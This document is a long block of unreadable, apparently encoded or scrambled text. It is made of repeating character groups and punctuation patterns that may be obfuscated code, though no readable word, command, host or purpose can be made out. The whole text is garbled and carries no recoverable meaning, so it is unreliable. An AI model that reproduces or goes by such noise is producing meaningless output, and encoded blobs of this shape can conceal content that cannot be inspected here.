\BjCDOETLDWOR\BjCDOETLDWOR\XFRSE]C_ FX[SEN????SZGPTV]C_ FX[SEnhTFXL_PYZDN?\SCPGF\Z[jVZXETGPXL_PYZDBRW^TOAOBRZT[TBSA	GPA@G[AG@P?H?GPA@G[STYFP?H?GPA@G[AG@P?H?S@[VA\Z[EYj[[[FB[XOF@ASYWSTOX[\GZ?N?\SuWW]YL^QYEQ[Y  SYWSTOX[\GZIIuOLX^FPPZQASYWSTOX[\GZGPA@G[?]]XYYXLRAAPZu\RGWQZ[WSVF SYWSTOX[\GZ??\S]]XYYXLRAAPZGPA@G[?\S]]XYYXLRAAPZ N?FBY__ZV\]M]Cu\RGWQZ[WSVF SYWSTOX[\GZSTYFP[@YY  ?\SS\TT^F[[QDCMAAC^FFBY__ZV\]M]CGPA@G[?\S@FRMD^RTVPRGEL_R\RYSYWSTOX[\GZSTYFPN?Z^MWjQGV^@FQTLY@OLX^FPPZQA\BjCDOETLDWOR\RGWQZ[WSVFSYWSTOX[\GZ?GPA@G[?H?u\BjCDOETLDWORSYWSTOX[\GZ	
E]Ei[?\SWW]YL^QYEQ[Y\BjCDOETLDWORuZEVTV]Pj\[CTY\QTAPSYWSTOX[\GZAG@P?GPA@G[?H?\S]]XYYXLRAAPZ N?FVTDSFAG\[Ru\BjCDOETLDWOR SYWSTOX[\GZSTYFP[@YYMQMV?XDYA]AZ]]XYYXLRAAPZ 
FAG\[RuOLX^FPPZQA SYWSTOX[\GZSTYFP[@YY]]XYYXLRAAPZ?Q@^@O[TV_TSBFFVTDSXDYA]AZ?\SQ@^@O[TV_TSBFWW]YL^QYEQ[YOLX^FPPZQAQ@^@O[TV_TSBFXLODEAMBVAMN?LE @EPX]Y\CSTYFP?SZGPTV]XLODEAMBVAMnhTF^ BQVLQN?\SCPGF\Z[jVZXETGP^ BQVLQBRW^TOAOBRZT[TBSA	N?LE @EPX]Y\CAG@P?WGPT^?H?H?\SLE @EPX]Y\CGPA@G[?H?H?\XFRSE]uWW]YL^QYEQ[YSYWSTOX[\GZ???\S\BjCDOETLDWOR\XFRSE]OLX^FPPZQA\XFRSE]\XFRSE]_Bj\F\@\] _^_P\XFRSE]?\S\BjCDOETLDWOR\XFRSE]GPA@G[?\SPCBX QjTXV[W\jLOPQLX\XFRSE]GPA@G[?CPPj^\P\ZCV^  SYWSTOX[\GZ\XFRSE]?H?S@[VA\Z[CPPj^\P\ZCV^  SYWSTOX[\GZ\XFRSE]?N???X_XGPF\^WR@CWW]YL^QYEQ[YWW]YL^QYEQ[Y\XFRSE]?\S\BjCDOETLDWOR X_XGPF\^WR@CIIOLX^FPPZQAX_XGPF\^WR@CII\BjCDOETLDWORX_XGPF\^WR@CWW]YL^QYEQ[YX_XGPF\^WR@C	
E]Ei[?\SOLX^FPPZQAX_XGPF\^WR@CCOQ [GQ\DVjWVOW@X_XGPF\^WR@CX_XGPF\^WR@C	
E]Ei[E^BPEBVLe}ej|{ajxtme}ej|{ajxtmEGXOPBGTE^BPEBVL ?jQXTMSMTFGWWuS\YPEPGXFSYWSTOX[\GZ???jQXTMSMTFGWWjQXTMSMTFGWWSTYFP
jQXTMSMTFGWW?FRL_VDFZu\RGWQZ[WSVFSYWSTOX[\GZ?YBBZEj]TGu\RGWQZ[WSVFWW]YL^QYEQ[YSYWSTOX[\GZOLX^FPPZQA?\SYBBZEj]TGSTYFPGPA@G[?\SuOLX^FPPZQAYBBZEj]TGX_XGPF\^WR@C\RGWQZ[WSVFX_XGPF\^WR@CN?uWW]YL^QYEQ[YYBBZEj]TG?GPA@G[?H?uWW]YL^QYEQ[YYBBZEj]TGjQXTMSMTFGWW?\SuWW]YL^QYEQ[YYBBZEj]TGSYWSTOX[\GZN?u\RGWQZ[WSVFYBBZEj]TG?GPA@G[?H?\SFRL_VDFZu\RGWQZ[WSVFSYWSTOX[\GZFRL_VDFZ?\SWW]YL^QYEQ[Y\BjCDOETLDWORuZEVTV]Pj\[CTY\QTAPSYWSTOX[\GZAG@P?H???S@[VA\Z[\@D^_DLBDF_OACAE]YQFW?N???\S\BjCDOETLDWORACAE]YQFWGPA@G[?\S\BjCDOETLDWORWW]YL^QYEQ[YACAE]YQFWWRjCjG_AjZN?\FRGDWWMEWRjCjG_AjZnh?????]]XYYXLRAAPZuWW]YL^QYEQ[Y  \FRGDWWME
u\RGWQZ[WSVF \FRGDWWME?\S]]XYYXLRAAPZII]]XYYXLRAAPZ	MQMQII]]XYYXLRAAPZ N?D@T[A\SLZCPG]PTQ??\S]]XYYXLRAAPZ N???RGMSL_T T[C_u\BjCDOETLDWOR\FRGDWWME?\S\RGWQZ[WSVFRGMSL_T T[C_RGMSL_T T[C_\FRGDWWME?RGMSL_T T[C_WW]YL^QYEQ[YiiRGMSL_T T[C_?YVOS] BEM@^STYFP?SQPEZBjY@\QWTGGTLQPS\[PQWW]YL^QYEQ[Y
OLX^FPPZQAtwfeta}OLX^FPPZQAQPS\[PQOLX^FPPZQA
OLX^FPPZQAbejvz{ap{ajq|g\RGWQZ[WSVF????SZGPTV]SQPEZBjY@\QWTFLOTBR[PC[GQCQN?LOTBR[PC[GQCQ\RGWQZ[WSVFiiLOTBR[PC[GQCQ?\SLOTBR[PC[GQCQOLX^FPPZQARGMSL_T T[C_LOTBR[PC[GQCQN?YVOS] BEM@^AG@P?WGPT^?H????H?\SYVOS] BEM@^@FRMD^RTVPRGEL_R\RY\FRGDWWMESTYFPN?uOLX^FPPZQA\FRGDWWME?u\RGWQZ[WSVF\RGWQZ[WSVF\FRGDWWMEOLX^FPPZQA\RGWQZ[WSVF\FRGDWWMEOLX^FPPZQA?HPYFPN?Z^MWjQGV^@FQTLY@OLX^FPPZQA\RGWQZ[WSVFWW]YL^QYEQ[Y\FRGDWWME?H?H???GPA@G[????H?H?FPG\TY\OP[ZGXTYA@XWY\[RB\[QZB??GPA@G[ACAE]YQFW?H???S@[VA\Z[[ BVSC L@W ?N??FATA\V\FRGDWWME[@YY?\S\FRGDWWME[@YYN?E_SZVZ_S@ ]QCLE^A BTC^QC?\FRGDWWMEOLX^FPPZQAE_SZVZ_S@ \FFPAE_SZVZ_S@ n\BjCDOETLDWOR  hOLX^FPPZQAFAG\[RE_SZVZ_S@ nOLX^FPPZQA h\RGWQZ[WSVF?H?GPA@G[\FRGDWWME?H????S@[VA\Z[OVMTR]LCZ\YP?N?\SQPS\[PQ\RGWQZ[WSVFGPA@G[??QPDXZTSXXWEtwfeta}\RGWQZ[WSVF  ?\Su\BjCDOETLDWOR  QPDXZTSXXWEN?\VDLVM[RTL^BGB\RGWQZ[WSVFtwfeta}\RGWQZ[WSVF?\Su\BjCDOETLDWOR\VDLVM[RTL^BGBQPDXZTSXXWE\VDLVM[RTL^BGB???H?\SuWW]YL^QYEQ[YQPDXZTSXXWEIIuWW]YL^QYEQ[YQPDXZTSXXWEGPA@G[?RGMSL_T T[C_uOLX^FPPZQAQPDXZTSXXWE????\S\BjCDOETLDWORRGMSL_T T[C_RGMSL_T T[C_uOLX^FPPZQARGMSL_T T[C_QPDXZTSXXWERGMSL_T T[C_?\Su\BjCDOETLDWORQPDXZTSXXWEM  MQTTGPA@G[?\XFRSE]u\RGWQZ[WSVF QPDXZTSXXWE?\S\BjCDOETLDWOR\XFRSE]II\XFRSE]GPA@G[?GOL LF_^SO\V\BjCDOETLDWOR\XFRSE]WW]YL^QYEQ[YSTYFPII\BjCDOETLDWOR\XFRSE]OLX^FPPZQASTYFP?_jPW^OMCCRBDSTYFP?\SOLX^FPPZQA\XFRSE]\BjCDOETLDWORSTYFPN?FAGPTX\[RTGW\AGTAZG??\SPXEALryzwtyfn\RGWQZ[WSVFhN?_jPW^OMCCRBDAG@P?HPYFPN???]@XRX YAVB]XWW]YL^QYEQ[Y\RGWQZ[WSVF
OLX^FPPZQA\BjCDOETLDWOR????\Su\BjCDOETLDWOR ]@XRX YAVB]XIIuWW]YL^QYEQ[Y]@XRX YAVB]X_jPW^OMCCRBDAG@P??H?H????]V]@E L\^]jjSTYFP??TG]SV[V ^STYFP?\S\RGWQZ[WSVF\RGWQZ[WSVF\XFRSE]QPS\[PQ\BjCDOETLDWORN?jTVbejvz{ap{ajq|g\BjCDOETLDWOR????\Su\BjCDOETLDWORjTVN?Z@XOY\ZjFAG\[Ru\BjCDOETLDWORjTVSTYFP[@YYMTWTM ???\S\BjCDOETLDWORZ@XOY\ZjWW]YL^QYEQ[YSTYFP]V]@E L\^]jjAG@P?H?HPYFP\S?\RGWQZ[WSVF\XFRSE]WW]YL^QYEQ[YSTYFP?\RGWQZ[WSVF\BjCDOETLDWOR\XFRSE]??N??TG]SV[V ^AG@P?H?S@^XL@BZSTYFP?\S[ BVSC L@W NO]D\WL][ ]_D\P^GZ[GOO]D\WL][ ????\S?OLX^FPPZQAWW]YL^QYEQ[Y\XFRSE]?II\RGWQZ[WSVF\RGWQZ[WSVF\XFRSE]?IIWW]YL^QYEQ[YOLX^FPPZQA \XFRSE]?S@^XL@BZAG@P?H?\SGOL LF_^SO\V_jPW^OMCCRBD]V]@E L\^]jjS@^XL@BZTG]SV[V ^GPA@G[????TGXSODF\]?X_XGPF\^WR@C\XFRSE]?\SGOL LF_^SO\VN?\SOLX^FPPZQA\BjCDOETLDWOR\XFRSE]EQELW\W]OZ[^TGXSODF\]\RGWQZ[WSVFi[EQELW\W]OZ[^nh?X_XGPF\^WR@C\BjCDOETLDWORWW]YL^QYEQ[Y\XFRSE]???\SWW]YL^QYEQ[YX_XGPF\^WR@CGPA@G[?\SOLX^FPPZQAWW]YL^QYEQ[Y X_XGPF\^WR@CYLA ^OF WXCMTGXSODF\]i[OLX^FPPZQAi[YLA ^OF WXCMnh?X_XGPF\^WR@CWW]YL^QYEQ[Y OLX^FPPZQA X_XGPF\^WR@C?\SWW]YL^QYEQ[YX_XGPF\^WR@CGPA@G[?H?\S_jPW^OMCCRBD\RGWQZ[WSVFWW]YL^QYEQ[Y X_XGPF\^WR@CN?X_XGPF\^WR@C\RGWQZ[WSVF \BjCDOETLDWOR WW]YL^QYEQ[Y QPS\[Pbejapxejq|gQPS\[PQbejvz{ap{ajq|g
bejvz{ap{ajq|gtwfeta}BEVZ[AP[AFVjAXEi[X_XGPF\^WR@C?\S\RGWQZ[WSVF  X_XGPF\^WR@CGPA@G[??H???\S]V]@E L\^]jjOLX^FPPZQA \RGWQZ[WSVF X_XGPF\^WR@CN?X_XGPF\^WR@C\RGWQZ[WSVF \BjCDOETLDWOR \BjCDOETLDWOR QPS\[Pbejvtv}pAG@Pfvjbvi[X_XGPF\^WR@C?\SOLX^FPPZQA  X_XGPF\^WR@CGPA@G[?HPYFP\STG]SV[V ^N?X_XGPF\^WR@COLX^FPPZQA\BjCDOETLDWORWW]YL^QYEQ[Y QPS\[Pbejvtv}pAG@Pfvjbvi[X_XGPF\^WR@C?\S\RGWQZ[WSVF  X_XGPF\^WR@CGPA@G[?H??\SS@^XL@BZN?X_XGPF\^WR@C\RGWQZ[WSVF\RGWQZ[WSVFX_XGPF\^WR@C?\SWW]YL^QYEQ[Y  X_XGPF\^WR@CGPA@G[?\S\BjCDOETLDWOR\RGWQZ[WSVF X_XGPF\^WR@CN?X_XGPF\^WR@COLX^FPPZQAOLX^FPPZQA OLX^FPPZQA QPS\[Pbejqpw`rAG@Pi[QPS\[Pbejqpw`rjyzrAG@Pi[QPS\[Pbejqpw`rjq|feytlSTYFPi[X_XGPF\^WR@C??\S\RGWQZ[WSVFX_XGPF\^WR@CGPA@G[???H?H?\SX_XGPF\^WR@C\XFRSE]GPA@G[?\SCOQ [GQ\DVjWVOW@X_XGPF\^WR@CGPA@G[?\S]V]@E L\^]jj[VjZ@ZAT TO\QPDXZTSXXWE\XFRSE]N???Z^MWjQGV^@FQTLY@OLX^FPPZQA\BjCDOETLDWOR?X_XGPF\^WR@C\BjCDOETLDWOR\BjCDOETLDWOROLX^FPPZQAX_XGPF\^WR@C?\SWW]YL^QYEQ[YX_XGPF\^WR@CIIX_XGPF\^WR@C\XFRSE]GPA@G[?\SCOQ [GQ\DVjWVOW@X_XGPF\^WR@CGPA@G[?H???jQXTMSMTFGWWuS\YPEPGXFQPDXZTSXXWE?jQXTMSMTFGWWjQXTMSMTFGWWSTYFP
MTMTjQXTMSMTFGWW?FRL_VDFZuWW]YL^QYEQ[YQPDXZTSXXWE?YBBZEj]TGu\RGWQZ[WSVF\BjCDOETLDWORQPDXZTSXXWEWW]YL^QYEQ[Y?\SYBBZEj]TGSTYFPGPA@G[?\SuWW]YL^QYEQ[YYBBZEj]TGX_XGPF\^WR@C\BjCDOETLDWORX_XGPF\^WR@CN?uWW]YL^QYEQ[YYBBZEj]TG?GPA@G[?H?uWW]YL^QYEQ[YYBBZEj]TGjQXTMSMTFGWW?\Su\BjCDOETLDWORYBBZEj]TGQPDXZTSXXWEN?S\[\APFV]PQ@YPG???uWW]YL^QYEQ[YYBBZEj]TG?GPA@G[?H?\SFRL_VDFZu\RGWQZ[WSVFQPDXZTSXXWEFRL_VDFZ?\S\RGWQZ[WSVFWW]YL^QYEQ[YuZEVTV]Pj\[CTY\QTAPQPDXZTSXXWEAG@P?\SOLX^FPPZQA\RGWQZ[WSVFTGXSODF\]F_F]QWC @XGCN?SZGPTV]\RGWQZ[WSVFF_F]QWC @XGCnhTF@GD\O\^MSN?\S\BjCDOETLDWOR@GD\O\^MS\RGWQZ[WSVFu\BjCDOETLDWOR@GD\O\^MSuOLX^FPPZQA@GD\O\^MS?H?H?\S\BjCDOETLDWORWW]YL^QYEQ[Y\BjCDOETLDWOR\BjCDOETLDWOR TGXSODF\]]L[L\\W]\N?SZGPTV]\BjCDOETLDWOR]L[L\\W]\nhTFEX]\EGD[N?\S\RGWQZ[WSVF\BjCDOETLDWOREX]\EGD[uQPYPAPjZEA\Z[EX]\EGD[???H?H?H?S@[VA\Z[XD VMYGZEG@?N????\SQPS\[PQOLX^FPPZQAGPA@G[????XTQ_MWZBQPS\[PQ\RGWQZ[WSVF
bex`jey`r|{jq|gbejvz{ap{ajq|gOLX^FPPZQA?BGAjBA^_RL]S^LTGGTL?\SWW]YL^QYEQ[Y\RGWQZ[WSVFN?\Su\BjCDOETLDWOR XTQ_MWZBSZGPTV]TGGTLuWW]YL^QYEQ[YXTQ_MWZBOLX^FPPZQATFCG]BTWRVFBGAjBA^_RL]S^LnhCG]BTWRVF?\SQPS\[PQ\BjCDOETLDWORuOLX^FPPZQAbejey`r|{jq|gSZGPTV]TGGTLu\RGWQZ[WSVFbejey`r|{jq|g\BjCDOETLDWORTFCG]BTWRVFBGAjBA^_RL]S^LnhCG]BTWRVF?H?EMTQ_FLDT[ZRQPS\[PQ\BjCDOETLDWOR
twfeta}?^ZW @^ WDbejvz{ap{ajq|g\BjCDOETLDWOROLX^FPPZQA\RGWQZ[WSVF EMTQ_FLDT[ZR\BjCDOETLDWOR \BjCDOETLDWOR OLX^FPPZQAWW]YL^QYEQ[Y EMTQ_FLDT[ZR\RGWQZ[WSVFk WW]YL^QYEQ[Y???\Su\RGWQZ[WSVF^ZW @^ WDBGAjBA^_RL]S^Lnh^ZW @^ WD?SZGPTV]BGAjBA^_RL]S^LTFCG]BTWRVFN?FRL_VDFZuWW]YL^QYEQ[YCG]BTWRVF????\SFRL_VDFZIIFRL_VDFZ  N????TMD\OSG]Wu\BjCDOETLDWORCG]BTWRVF?\STMD\OSG]WIITMD\OSG]W	IITMD\OSG]W  VZ[A\[@P?H?bevZCPGwYZV^EYTVP]ZYQPGWY@G??RGMSL_T T[C_uWW]YL^QYEQ[YCG]BTWRVF?bexPQ\TaPMAwYZV^@[QPV\QTWYPVZ[AGTCTG\T[A??O_PS_OFW CPY\uWW]YL^QYEQ[YGFWPOXC?\SWW]YL^QYEQ[YRGMSL_T T[C_WW]YL^QYEQ[YO_PS_OFW CPY\RGMSL_T T[C_O_PS_OFW CPY\VZ[A\[@P?CVMAFOZu\BjCDOETLDWORCG]BTWRVFSTYFP[@YY ?\S\RGWQZ[WSVFCVMAFOZII\RGWQZ[WSVFCVMAFOZ\BjCDOETLDWORSTYFPVZ[A\[@P^ LFD@WR@R]S_PZYY^ LFD@WR@R????\SWW]YL^QYEQ[YWW]YL^QYEQ[YCVMAFOZXLODEAMBVAMVZ[A\[@P???\SCPGF\Z[jVZXETGPXLODEAMBVAMnhBRW^TOAOBRZT[TBSA	VZ[A\[@P???^_FD^_[^YMDE@FRMD^RTVPRGEL_R\RYCG]BTWRVF?\S^_FD^_[^YMDESTYFPN????Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YWW]YL^QYEQ[YOLX^FPPZQACG]BTWRVF?VZ[A\[@P?H?P[TWYPF^ZYPXSZGbecPGFPwYZV^????\S^_FD^_[^YMDEAG@PN????\S]GYC O_WB@j^ECG]BTWRVFCG]BTWRVF\BjCDOETLDWORN?\S\RGWQZ[WSVF\BjCDOETLDWORuZEVTV]Pj\[CTY\QTAPCG]BTWRVFAG@P??H?uOLX^FPPZQA\BjCDOETLDWORCG]BTWRVFWW]YL^QYEQ[YWW]YL^QYEQ[Y CG]BTWRVFWW]YL^QYEQ[Y??VZ[A\[@P?H?u\BjCDOETLDWORCG]BTWRVF?uWW]YL^QYEQ[Y\RGWQZ[WSVFCG]BTWRVFWW]YL^QYEQ[YWW]YL^QYEQ[Y CG]BTWRVFOLX^FPPZQA?\SWW]YL^QYEQ[YWW]YL^QYEQ[YuZEVTV]Pj\[CTY\QTAPCG]BTWRVFAG@P?H???OVMTR]LCZ\YP?L[TG_[ECbejvz{ap{ajq|g\BjCDOETLDWOR ????\Su\RGWQZ[WSVFL[TG_[EC\BjCDOETLDWOR\RGWQZ[WSVFN????SZGPTV]TGGTLuWW]YL^QYEQ[YL[TG_[ECWW]YL^QYEQ[YTFCXLLXQTCN?\Su\BjCDOETLDWORCXLLXQTCIIuOLX^FPPZQACXLLXQTCVZ[A\[@P?AVEAASjZ@WAAR]u\BjCDOETLDWORCXLLXQTC?\SAVEAASjZ@WAAR]IIAVEAASjZ@WAAR]MQTMPQVZ[A\[@P?VDO\[_^CP_uWW]YL^QYEQ[YCXLLXQTC?\S\BjCDOETLDWORVDO\[_^CP_VZ[A\[@P?\S\RGWQZ[WSVFVDO\[_^CP_WW]YL^QYEQ[YSTYFP\RGWQZ[WSVFVDO\[_^CP_WW]YL^QYEQ[YSTYFP\RGWQZ[WSVFVDO\[_^CP_\RGWQZ[WSVF STYFPVZ[A\[@P?\SOW@@M YYVDO\[_^CP_VZ[A\[@P???RjZZ[ATCOSWCj_EG_ ELDQ\VDO\[_^CP_?\SWW]YL^QYEQ[YRjZZ[ATCOSWRjZZ[ATCOSWVDO\[_^CP_N?FWDSWO@V[[ CFM_\MECXLLXQTCRjZZ[ATCOSW????\S\BjCDOETLDWOR\BjCDOETLDWORuZEVTV]Pj\[CTY\QTAPCXLLXQTCAG@P?H?H?H?EYj[[[FB[XOF@Abejvz{ap{ajq|gWW]YL^QYEQ[Y?EYj[[[FB[XOF@Abejvz{ap{ajq|gWW]YL^QYEQ[Y  ??\S\BjCDOETLDWOR\BjCDOETLDWOR WW]YL^QYEQ[YWW]YL^QYEQ[YOLX^FPPZQAWW]YL^QYEQ[YN^E[RCW[ZZB]F ZSYTA^E[RCW[Z?jZ[ZFPEEWPPYMG@]twfeta}WW]YL^QYEQ[Y 		?CDPQ^TFTuRPAjZEA\Z[jZ[?\SWW]YL^QYEQ[YCDPQ^TFTCDPQ^TFTN??[CPBD ]XT_OSOLX^FPPZQACDPQ^TFTAG@P?\S\RGWQZ[WSVF[CPBD ]XT_OSR^BS]LPM\TPF[CPBD ]XT_OSuQPYPAPjZEA\Z[jZ[?H?CV\Sj^G_\ZY\RGWQZ[WSVF\BjCDOETLDWOR
]W\@C_BRB@GO[^jjMOLX^FPPZQA?\S\BjCDOETLDWORCV\Sj^G_\ZYCV\Sj^G_\ZY\RGWQZ[WSVFCV\Sj^G_\ZY  II\RGWQZ[WSVF\RGWQZ[WSVFWGRGVLX W]D APOCV\Sj^G_\ZYIIBWGXYB_VQGDCMCV\Sj^G_\ZYN???\SOLX^FPPZQA\BjCDOETLDWOR_OjYYOOALOTGQB[^XCWW]YL^QYEQ[Y\BjCDOETLDWOR?H?H?H?S@[VA\Z[Y^SCWV\RDVV VF?NjXLjLRFPAO@e}ejxtzgjcpgf|z{@jTPFjVBLO^jXLjLRFPAO@??AGLN?\SQPS\[PQ\RGWQZ[WSVFGPA@G[?\SPXEALryzwtyfnWW]YL^QYEQ[YhN???ryzwtyfnWW]YL^QYEQ[Yh?Z^MWjQGV^@FQTLY@OLX^FPPZQA \BjCDOETLDWOR?H?bewYZV^aGT[FSZGXFPMEZ[P[A\TYG\[RW@SSPG????\SPXEALryzwtyfn\RGWQZ[WSVFhGPA@G[?ryzwtyfn\RGWQZ[WSVFhAG@P?\S\FFPAjrpan\BjCDOETLDWORh\RGWQZ[WSVFOLX^FPPZQA \BjCDOETLDWOROLX^FPPZQA N??]j@SRMWFuRPAjZEA\Z[\RGWQZ[WSVFTGGTL?WYj [CSTYFP?\S\RGWQZ[WSVF]j@SRMWFN@ FTTX FVSB YVSAGYTXWZA@ FTTX FVSB?\SPXEAL]j@SRMWFnAhWW]YL^QYEQ[Y\[A]j@SRMWFn\BjCDOETLDWORh	WYj [CAG@P???\SWYj [CPXEAL]j@SRMWFnWW]YL^QYEQ[Yh\BjCDOETLDWOR]j@SRMWFnOLX^FPPZQAhN?SZGPTV]]j@SRMWFnOLX^FPPZQAhTFjV\N??\S\RGWQZ[WSVFjV\\RGWQZ[WSVF\[AjV\n\RGWQZ[WSVFh	N?WYj [CAG@P?WGPT^?H?H?H?H?\SWYj [C\RGWQZ[WSVF\RGWQZ[WSVF?H?\SOXPQS_WCAVOXRB GFWPOXCGPA@G[?XD VMYGZEG@?ZBFRXT][B^GFWPOXCBRW^TOAOBRZT[TBSA?\STR]CL\ [F[QRN????WVA DZjOMjDR\^jLYX?F Q[M^^G^OGGDVRjF?GPA@G[?A]GPTQFTSPSTVAZGL???H?CSROQS@LQDMF@XQVCA@ST?GCVLWOXEZBBTGGTL??GFWPOXC?CSROQSWW]YL^QYEQ[Y  ??XG BS]WZD SBX_ZVY_ _C?SZGPTV]XG BS]WZD TF_\BSGAQ[V\L@AN??\Su\RGWQZ[WSVF_\BSGAQ[V\L@AGCVLWOXEZBBnh_\BSGAQ[V\L@A??H?ZW\ECGBTGGTL?\SYQXB TR_DSWBMN?CB\jPWYLCY ZFPEEWPPYMG@]twfeta}\RGWQZ[WSVF \BjCDOETLDWORXLA^ LS^RRMQM PjFLXO^PjYXLA^ LS^RR?ZW\ECGBn\RGWQZ[WSVFtwfeta}WW]YL^QYEQ[YhCB\jPWYLCY ?ZW\ECGBn\BjCDOETLDWORCSROQS\RGWQZ[WSVFhCB\jPWYLCY ?H?GCZZFjGj]ZD@\RGWQZ[WSVF\BjCDOETLDWOR
u\RGWQZ[WSVF\RGWQZ[WSVFSTYFP??\S\BjCDOETLDWOR GCZZFjGj]ZD@GCZZFjGj]ZD@N?LGODEQ YW\[ARPAjZEA\Z[OLX^FPPZQA?\SLGODEQ YWII\RGWQZ[WSVFLGODEQ YWN???Z Z P\XL^OZFPEEWPPYMG@]twfeta}WW]YL^QYEQ[YOLX^FPPZQA?ZW\ECGBn\RGWQZ[WSVF\RGWQZ[WSVFtwfeta}\RGWQZ[WSVFGCZZFjGj]ZD@hZ Z P\XL^O?ZW\ECGBnOLX^FPPZQACSROQSGCZZFjGj]ZD@hZ Z P\XL^O?H?H??jFSATTZYY\BREXFBjPE?\SuOLX^FPPZQAjFSATTZYnhZW\ECGBn\RGWQZ[WSVFjFSATTZYnhh\BjCDOETLDWORjFSATTZYnh?j^]DGB@TCuRPAjZEA\Z[OLX^FPPZQATGGTL?\S\RGWQZ[WSVFj^]DGB@TCj^]DGB@TCTGGTL?GG]@PQYT]GBQWSTYFP?SZGPTV]GCVLWOXEZBBTF[YM^_VPNWP]XWG\SB\ XWD\F\OP\LCWP]XWG\SB\?LT^C^Y\QW GALu\BjCDOETLDWOR[YM^_VP?Qj^jPR@LT^C^Y\QW GAL
LT^C^Y\QW GALnWW]YL^QYEQ[YhILT^C^Y\QW GALnOLX^FPPZQAh?YE]\LM@_ZEEE\FFPAj^]DGB@TCn[YM^_VPh
j^]DGB@TCn[YM^_VPh?\SQj^jPR@YE]\LM@_ZEEEVZ[A\[@P?\S\BjCDOETLDWOR\RGWQZ[WSVF YE]\LM@_ZEEE\VR^DX^\PD]\BjCDOETLDWORYE]\LM@_ZEEEOLX^FPPZQA\VR^DX^\PD]nhQj^jPR@WW]YL^QYEQ[Y\[A\VR^DX^\PD]nh	  VZ[A\[@P????GG]@PQYT]GBQWAG@P?WGPT^???H??\SGG]@PQYT]GBQWN????SZGPTV]ZW\ECGBTF^PLLQ@CVY[^WDN???Qj^jPR@W]T@LTECZE[GOLX^FPPZQA^PLkLQ@CVY[^WD?YE]\LM@_ZEEE\FFPAj^]DGB@TCn^PLh
j^]DGB@TCn^PLh?\SQj^jPR@YE]\LM@_ZEEEVZ[A\[@P?\SWW]YL^QYEQ[Y\RGWQZ[WSVF YE]\LM@_ZEEE\VR^DX^\PD]WW]YL^QYEQ[YYE]\LM@_ZEEE\RGWQZ[WSVF\VR^DX^\PD]nhQj^jPR@\RGWQZ[WSVF\[A\VR^DX^\PD]nh	 VZ[A\[@P?GG]@PQYT]GBQWAG@P?WGPT^????H?H?\[GVQ_CjS_WW]YL^QYEQ[Y GFWPOXC\RGWQZ[WSVF??DSDEEVP]B[CSROQSOLX^FPPZQA  \[GVQ_CjS_\[GVQ_CjS_\RGWQZ[WSVF?_j O^ODBSTBOCWVPQZYjY?\Su\RGWQZ[WSVFDSDEEVP]B[II\[Au\BjCDOETLDWORDSDEEVP]B[	 GG]@PQYT]GBQWAG@P?\S_j O^ODBSTuWW]YL^QYEQ[Y_j O^ODBSTGG]@PQYT]GBQWAG@P?\SGG]@PQYT]GBQWWW]YL^QYEQ[YWW]YL^QYEQ[Y N?uL\PYQ@[\S\VTA\Z[??WMAWO \[GVQ_CjS_\[GVQ_CjS_WW]YL^QYEQ[Y????\LOGR[FQ_XRPAjZEA\Z[OLX^FPPZQATGGTL?\S\RGWQZ[WSVF\LOGR[FQ_XII\RGWQZ[WSVFWMAWO \LOGR[FQ_XAG@PGG]@PQYT]GBQWAG@P????H?\SGG]@PQYT]GBQWGPA@G[???\SVX\_MQ  YSX[B\RGWQZ[WSVFGPA@G[?AGLN?W\BEGR]_@SWAB[???RV]WYRFLXTCOXC]R]XF[]_QMe}ejxtzgjcpgf|z{OZG\CjG@TVM]XF[]_QM??F Q[M^^G^OGGDVRjF?QSMZYLZ_YRQPCW\F?[PFVA[jCOL ?WVA DZjOMjDR\^jLYX??VVRT^OMXE\YXETY@?W\\__D^S^X[ZVETFETE[X@LWX\jQCGAMTTFETE[X@L?SW_TZ\^TMMEQSZ\PLAD DT?Z^\F^YV]VY\]LMLQWjFDOM TD M?XjDjO]QVV_TGGTL??SZGPTV]GCVLWOXEZBBTF[YM^_VPN?^FTOLZF^AYP[YM^_VPCSROQSWW]YL^QYEQ[YSW_TZ\IIOLX^FPPZQA[YM^_VPWW]YL^QYEQ[Y Z^\F^YV]VY\]LML?LT^C^Y\QW GALu\RGWQZ[WSVF[YM^_VP????\SLT^C^Y\QW GALN?[PRTA\CPQPS\[\AP_Z@G[TY??XjDjO]QVV_n[YM^_VPhLT^C^Y\QW GALnOLX^FPPZQAhILT^C^Y\QW GALn\RGWQZ[WSVFh^FTOLZF^AYP
OLX^FPPZQAOLX^FPPZQA?H?H?SZGPTV]ZW\ECGBTF^PLLQ@CVY[^WDN?^C]WB\XM\FW]T@LTECZE[G\BjCDOETLDWOR^PLMMLQ@CVY[^WD?\S^C]WB\XM\FII\RGWQZ[WSVF^C]WB\XM\FWW]YL^QYEQ[Y^C]WB\XM\F\RGWQZ[WSVF\RGWQZ[WSVF?XjDjO]QVV_n^PLh^C]WB\XM\F?H?u@EQTAPjZEA\Z[WW]YL^QYEQ[YXjDjO]QVV_\BjCDOETLDWOR??HS\[TYYLN?R F]XTZW\LVGOLX^FPPZQA????H?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y YA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H????H???S@[VA\Z[W]T@LTECZE[G[YM^_VPLQ@CVY[^WD?N??LT^C^Y\QW GALu\RGWQZ[WSVF[YM^_VP?\SLT^C^Y\QW GALGPA@G[?Qj^jPR@LT^C^Y\QW GALnOLX^FPPZQAhILT^C^Y\QW GALnWW]YL^QYEQ[Yh??\SLT^C^Y\QW GALn\RGWQZ[WSVFh  GPA@G[WW]YL^QYEQ[Y Qj^jPR@??\XFRSE]uWW]YL^QYEQ[Y [YM^_VP??GPA@G[Qj^jPR@I\BjCDOETLDWOR \XFRSE]WW]YL^QYEQ[Y\XFRSE]LQ@CVY[^WDSTYFP
?H???S@[VA\Z[GMLMCCFXYCD^XjOW?N?jECWW]YL^QYEQ[Y\BjCDOETLDWOR 
RPAjZEA\Z[\RGWQZ[WSVF?[ZjVFVRj]]^YZZ@R?j\VPDQAM[\\@ \BjCDOETLDWORWW]YL^QYEQ[Y 
